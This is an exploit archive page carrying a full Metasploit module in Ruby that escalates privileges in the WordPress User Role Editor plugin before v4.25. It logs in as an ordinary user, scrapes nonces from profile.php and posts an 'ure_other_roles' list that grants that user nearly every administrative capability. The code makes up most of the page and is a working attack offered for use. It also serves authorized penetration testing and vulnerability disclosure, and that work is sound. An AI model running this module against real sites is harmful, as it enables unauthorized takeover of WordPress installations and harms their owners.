exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress User Role Editor Plugin Privilege Escalation

WordPress User Role Editor Plugin Privilege Escalation
Posted May 7, 2018
Authored by Tomislav Paskalev, ethicalhack3r | Site metasploit.com

The WordPress User Role Editor plugin prior to v4.25, is lacking an authorization check within its update user profile functionality ("update" function, contained within the "class-user-other-roles.php" module). Instead of verifying whether the current user has the right to edit other users' profiles ("edit_users" WP capability), the vulnerable function verifies whether the current user has the rights to edit the user ("edit_user" WP function) specified by the supplied user id ("user_id" variable/HTTP POST parameter). Since the supplied user id is the current user's id, this check is always bypassed (i.e. the current user is always allowed to modify its profile). This vulnerability allows an authenticated user to add arbitrary User Role Editor roles to its profile, by specifying them via the "ure_other_roles" parameter within the HTTP POST request to the "profile.php" module (issued when "Update Profile" is clicked). By default, this module grants the specified WP user all administrative privileges, existing within the context of the User Role Editor plugin.

tags | exploit, web, arbitrary, php
SHA-256 | 86dde6c9282f9f7fb3fc66f8f29e9d2f98fa12526e58142988e5f83d173bd04c

WordPress User Role Editor Plugin Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress

def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress User Role Editor Plugin Privilege Escalation',
'Description' => %q{
The WordPress User Role Editor plugin prior to v4.25, is lacking an authorization
check within its update user profile functionality ("update" function, contained
within the "class-user-other-roles.php" module).
Instead of verifying whether the current user has the right to edit other users'
profiles ("edit_users" WP capability), the vulnerable function verifies whether the
current user has the rights to edit the user ("edit_user" WP function) specified by
the supplied user id ("user_id" variable/HTTP POST parameter). Since the supplied
user id is the current user's id, this check is always bypassed (i.e. the current
user is always allowed to modify its profile).
This vulnerability allows an authenticated user to add arbitrary User Role Editor
roles to its profile, by specifying them via the "ure_other_roles" parameter within
the HTTP POST request to the "profile.php" module (issued when "Update Profile" is
clicked).
By default, this module grants the specified WP user all administrative privileges,
existing within the context of the User Role Editor plugin.
},
'Author' =>
[
'ethicalhack3r', # Vulnerability discovery
'Tomislav Paskalev' # Exploit development, metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '8432'],
['URL', 'https://www.wordfence.com/blog/2016/04/user-role-editor-vulnerability/']
],
'DisclosureDate' => 'Apr 05 2016',
))

register_options(
[
OptString.new('TARGETURI', [true, 'URI path to WordPress', '/']),
OptString.new('ADMINPATH', [true, 'wp-admin directory', 'wp-admin/']),
OptString.new('CONTENTPATH', [true, 'wp-content directory', 'wp-content/']),
OptString.new('PLUGINSPATH', [true, 'wp plugins directory', 'plugins/']),
OptString.new('PLUGINPATH', [true, 'User Role Editor directory', 'user-role-editor/']),
OptString.new('USERNAME', [true, 'WordPress username']),
OptString.new('PASSWORD', [true, 'WordPress password']),
OptString.new('PRIVILEGES', [true, 'Desired User Role Editor privileges', 'activate_plugins,delete_others_pages,delete_others_posts,delete_pages,delete_posts,delete_private_pages,delete_private_posts,delete_published_pages,delete_published_posts,edit_dashboard,edit_others_pages,edit_others_posts,edit_pages,edit_posts,edit_private_pages,edit_private_posts,edit_published_pages,edit_published_posts,edit_theme_options,export,import,list_users,manage_categories,manage_links,manage_options,moderate_comments,promote_users,publish_pages,publish_posts,read_private_pages,read_private_posts,read,remove_users,switch_themes,upload_files,customize,delete_site,create_users,delete_plugins,delete_themes,delete_users,edit_plugins,edit_themes,edit_users,install_plugins,install_themes,unfiltered_html,unfiltered_upload,update_core,update_plugins,update_themes,ure_create_capabilities,ure_create_roles,ure_delete_capabilities,ure_delete_roles,ure_edit_roles,ure_manage_options,ure_reset_roles'])
])
end

# Detect the vulnerable plugin by enumerating its readme.txt file
def check
readmes = ['readme.txt', 'Readme.txt', 'README.txt']

res = nil
readmes.each do |readme_name|
readme_url = normalize_uri(target_uri.path, datastore['CONTENTPATH'], datastore['PLUGINSPATH'], datastore['PLUGINPATH'], readme_name)
vprint_status("Checking #{readme_url}")
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
)
break if res && res.code == 200
end

if res.nil? || res.code != 200
# The readme.txt file does not exist
return Msf::Exploit::CheckCode::Unknown
end

version_res = extract_and_check_version(res.body.to_s, :readme, 'plugin', '4.25', nil)
return version_res
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

# Search for specified data within the provided HTTP response
def check_response(res, name, regex)
res.body =~ regex
result = $1
if result
print_good("#{peer} - WordPress - Getting data - #{name}")
else
vprint_error("#{peer} #{res.body}")
fail_with("#{peer} - WordPress - Getting data - Failed (#{name})")
end
return result
end

# Run the exploit
def run
# Check if the specified target is running WordPress
fail_with("#{peer} - WordPress - Not Found") unless wordpress_and_online?

# Authenticate to WordPress
print_status("#{peer} - WordPress - Authentication - #{username}:#{password}")
cookie = wordpress_login(username, password)
fail_with("#{peer} - WordPress - Authentication - Failed") if cookie.nil?
store_valid_credential(user: username, private: password, proof: cookie)
print_good("#{peer} - WordPress - Authentication - OK")

# Get additional information from WordPress, required for the HTTP POST request (anti-CSRF tokens, user parameters)
url = normalize_uri(wordpress_url_backend, 'profile.php')
print_status("#{peer} - WordPress - Getting data - #{url}")
res = send_request_cgi({
'method' => 'GET',
'uri' => url,
'cookie' => cookie
})

if res and res.code == 200
wp_nonce = check_response(res, "_wpnonce", /name=\"_wpnonce\" value=\"(.+?(?=\"))\"/)
color_nonce = check_response(res, "color-nonce", /name=\"color-nonce\" value=\"(.+?(?=\"))\"/)
checkuser_id = check_response(res, "checkuser_id", /name=\"checkuser_id\" value=\"(.+?(?=\"))\"/)
nickname = check_response(res, "nickname", /name=\"nickname\" id=\"nickname\" value=\"(.+?(?=\"))\"/)
display_name = check_response(res, "display_name", /name=\"display_name\" id=\"display_name\"\>[\s]+\<option selected=\'selected\'\>(.+?(?=\<))\</)
email = check_response(res, "email", /name=\"email\" id=\"email\" value=\"(.+?(?=\"))\"/)
user_id = check_response(res, "user_id", /name=\"user_id\" id=\"user_id\" value=\"(.+?(?=\"))\"/)
else
fail_with("#{peer} - WordPress - Getting data - Server response (code #{res.code})")
end

# Send HTTP POST request - update the specified user's privileges
print_status("#{peer} - WordPress - Changing privs - #{username}")
res = send_request_cgi({
'method' => 'POST',
'uri' => url,
'vars_post' => {
'_wpnonce' => wp_nonce,
'_wp_http_referer' => URI::encode(url),
'from' => 'profile',
'checkuser_id' => checkuser_id,
'color-nonce' => color_nonce,
'admin_color' => 'fresh',
'admin_bar_front' => '1',
'first_name' => '',
'last_name' => '',
'nickname' => nickname,
'display_name' => display_name,
'email' => email,
'url' => '',
'description' => '',
'pass1' => '',
'pass2' => '',
'ure_other_roles' => datastore['PRIVILEGES'],
'action' => 'update',
'user_id' => user_id,
'submit' => 'Update+Profile'
},
'cookie' => cookie
})

# check outcome
if res and res.code == 302
print_good("#{peer} - WordPress - Changing privs - OK")
else
fail_with("#{peer} - WordPress - Changing privs - Server response (code #{res.code})")
end
end
end

# EoF


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close